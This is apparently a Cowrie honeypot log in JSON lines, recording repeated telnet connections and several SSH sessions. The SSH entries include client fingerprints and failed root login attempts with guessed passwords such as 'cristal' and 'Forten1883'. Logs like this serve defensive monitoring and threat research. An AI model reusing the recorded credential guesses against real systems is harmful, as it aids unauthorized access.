{"eventid":"cowrie.session.closed","duration":34.871288776397705,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:54.405165Z","src_ip":"50.6.8.71","session":"003e47f45534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60150,"dst_ip":"10.17.0.5","dst_port":23,"session":"709bca7ef198","protocol":"telnet","message":"New connection: 50.6.8.71:60150 (10.17.0.5:23) [session: 709bca7ef198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:54.597585Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60166,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd03b8c1ccb","protocol":"telnet","message":"New connection: 50.6.8.71:60166 (10.17.0.5:23) [session: 7cd03b8c1ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:54.625829Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60180,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcb4706c5a36","protocol":"telnet","message":"New connection: 50.6.8.71:60180 (10.17.0.5:23) [session: bcb4706c5a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:55.479066Z"}
{"eventid":"cowrie.session.closed","duration":34.849634408950806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:58.071107Z","src_ip":"50.6.8.71","session":"7a479c641905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60578,"dst_ip":"10.17.0.5","dst_port":23,"session":"243f5768eb84","protocol":"telnet","message":"New connection: 50.6.8.71:60578 (10.17.0.5:23) [session: 243f5768eb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:58.451894Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60592,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a7daa0c5f19","protocol":"telnet","message":"New connection: 50.6.8.71:60592 (10.17.0.5:23) [session: 8a7daa0c5f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:02.212308Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58672,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc72b3d7227e","protocol":"telnet","message":"New connection: 50.6.8.71:58672 (10.17.0.5:23) [session: bc72b3d7227e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:07.629051Z"}
{"eventid":"cowrie.session.closed","duration":34.16032123565674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:08.151774Z","src_ip":"50.6.8.71","session":"cf2d1596e11d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58678,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d62456aa99","protocol":"telnet","message":"New connection: 50.6.8.71:58678 (10.17.0.5:23) [session: c4d62456aa99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:08.527064Z"}
{"eventid":"cowrie.session.closed","duration":32.50345063209534,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:09.700513Z","src_ip":"50.6.8.71","session":"201bb1b122c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"917e6dc7ce93","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 917e6dc7ce93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:11.789053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:11.794046Z","src_ip":"4.210.91.174","session":"917e6dc7ce93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:11.862314Z","src_ip":"4.210.91.174","session":"917e6dc7ce93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doug","message":"login attempt [root/doug] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:12.163935Z","src_ip":"4.210.91.174","session":"917e6dc7ce93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:13.237547Z","src_ip":"4.210.91.174","session":"917e6dc7ce93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.07514786720276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:14.477815Z","src_ip":"50.6.8.71","session":"a259c9ab2337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.92045760154724,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:15.011656Z","src_ip":"50.6.8.71","session":"6711d856ab2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89037275314331,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:15.172727Z","src_ip":"50.6.8.71","session":"9986630424fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":51350,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13bbc6ddf9a","protocol":"ssh","message":"New connection: 200.77.172.159:51350 (159.203.135.109:22) [session: f13bbc6ddf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:15.576239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:15.581584Z","src_ip":"200.77.172.159","session":"f13bbc6ddf9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:15.650949Z","src_ip":"200.77.172.159","session":"f13bbc6ddf9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cristal","message":"login attempt [root/cristal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:15.958232Z","src_ip":"200.77.172.159","session":"f13bbc6ddf9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:17.032945Z","src_ip":"200.77.172.159","session":"f13bbc6ddf9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.374375104904175,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:18.847870Z","src_ip":"50.6.8.71","session":"5282738e2e10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36914,"dst_ip":"10.17.0.5","dst_port":23,"session":"22719e9758d6","protocol":"telnet","message":"New connection: 50.6.8.71:36914 (10.17.0.5:23) [session: 22719e9758d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:20.261652Z"}
{"eventid":"cowrie.session.closed","duration":37.736618995666504,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:20.388391Z","src_ip":"50.6.8.71","session":"e46700267ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02995228767395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:21.295756Z","src_ip":"50.6.8.71","session":"1c1f47e48021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.737597703933716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:21.321346Z","src_ip":"50.6.8.71","session":"cd1474e660ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.062018156051636,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:24.419159Z","src_ip":"50.6.8.71","session":"0ac6cef124a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.74921107292175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:24.994932Z","src_ip":"50.6.8.71","session":"06119dfb2b15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79485845565796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:27.273801Z","src_ip":"50.6.8.71","session":"bcb4706c5a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46554,"dst_ip":"10.17.0.5","dst_port":23,"session":"967a8c4d1004","protocol":"telnet","message":"New connection: 50.6.8.71:46554 (10.17.0.5:23) [session: 967a8c4d1004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:29.349416Z"}
{"eventid":"cowrie.session.closed","duration":35.79392671585083,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:30.391388Z","src_ip":"50.6.8.71","session":"709bca7ef198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.51145672798157,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:31.137177Z","src_ip":"50.6.8.71","session":"7cd03b8c1ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.53932571411133,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:32.517228Z","src_ip":"50.6.8.71","session":"d20b4f629158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.99105167388916,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:35.442855Z","src_ip":"50.6.8.71","session":"243f5768eb84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.463385343551636,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:39.675510Z","src_ip":"50.6.8.71","session":"8a7daa0c5f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34582,"dst_ip":"10.17.0.5","dst_port":23,"session":"f08b9186eeff","protocol":"telnet","message":"New connection: 50.6.8.71:34582 (10.17.0.5:23) [session: f08b9186eeff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:39.771968Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34592,"dst_ip":"10.17.0.5","dst_port":23,"session":"566dd409c784","protocol":"telnet","message":"New connection: 50.6.8.71:34592 (10.17.0.5:23) [session: 566dd409c784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:40.611844Z"}
{"eventid":"cowrie.session.closed","duration":33.58981227874756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:41.218768Z","src_ip":"50.6.8.71","session":"bc72b3d7227e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.38233780860901,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:42.909265Z","src_ip":"50.6.8.71","session":"c4d62456aa99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34606,"dst_ip":"10.17.0.5","dst_port":23,"session":"c78ba2c69cf1","protocol":"telnet","message":"New connection: 50.6.8.71:34606 (10.17.0.5:23) [session: c78ba2c69cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:43.642612Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40108,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d68d4b3153","protocol":"telnet","message":"New connection: 50.6.8.71:40108 (10.17.0.5:23) [session: 66d68d4b3153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:48.189839Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40120,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b59c58bb478","protocol":"telnet","message":"New connection: 50.6.8.71:40120 (10.17.0.5:23) [session: 3b59c58bb478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:50.852429Z"}
{"eventid":"cowrie.session.closed","duration":34.90771126747131,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:37:55.169234Z","src_ip":"50.6.8.71","session":"22719e9758d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37238,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a6e4d081bb","protocol":"telnet","message":"New connection: 50.6.8.71:37238 (10.17.0.5:23) [session: a0a6e4d081bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:05.195090Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40954,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f7afc5df79","protocol":"telnet","message":"New connection: 50.6.8.71:40954 (10.17.0.5:23) [session: 65f7afc5df79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:06.745606Z"}
{"eventid":"cowrie.session.closed","duration":37.763357639312744,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:07.112656Z","src_ip":"50.6.8.71","session":"967a8c4d1004","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.449740648269653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:11.221580Z","src_ip":"50.6.8.71","session":"f08b9186eeff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.95558476448059,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:13.567283Z","src_ip":"50.6.8.71","session":"566dd409c784","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.629552364349365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:18.272080Z","src_ip":"50.6.8.71","session":"c78ba2c69cf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39248,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f442b635cf","protocol":"telnet","message":"New connection: 50.6.8.71:39248 (10.17.0.5:23) [session: 65f442b635cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:20.490836Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":46200,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a3d37ddc6c","protocol":"ssh","message":"New connection: 147.45.197.250:46200 (10.17.0.5:22) [session: 51a3d37ddc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:21.212039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:21.217122Z","src_ip":"147.45.197.250","session":"51a3d37ddc6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:21.307761Z","src_ip":"147.45.197.250","session":"51a3d37ddc6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:21.577445Z","src_ip":"147.45.197.250","session":"51a3d37ddc6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:22.670572Z","src_ip":"147.45.197.250","session":"51a3d37ddc6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.86420130729675,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:25.053933Z","src_ip":"50.6.8.71","session":"66d68d4b3153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50387978553772,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:25.356222Z","src_ip":"50.6.8.71","session":"3b59c58bb478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":48128,"dst_ip":"159.203.135.109","dst_port":22,"session":"b12ad3476688","protocol":"ssh","message":"New connection: 200.77.172.159:48128 (159.203.135.109:22) [session: b12ad3476688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:26.448577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:26.452930Z","src_ip":"200.77.172.159","session":"b12ad3476688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:26.525088Z","src_ip":"200.77.172.159","session":"b12ad3476688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mich","message":"login attempt [root/mich] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:26.847409Z","src_ip":"200.77.172.159","session":"b12ad3476688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b21faefae10a","protocol":"telnet","message":"New connection: 50.6.8.71:47826 (10.17.0.5:23) [session: b21faefae10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:38:27.659229Z"}
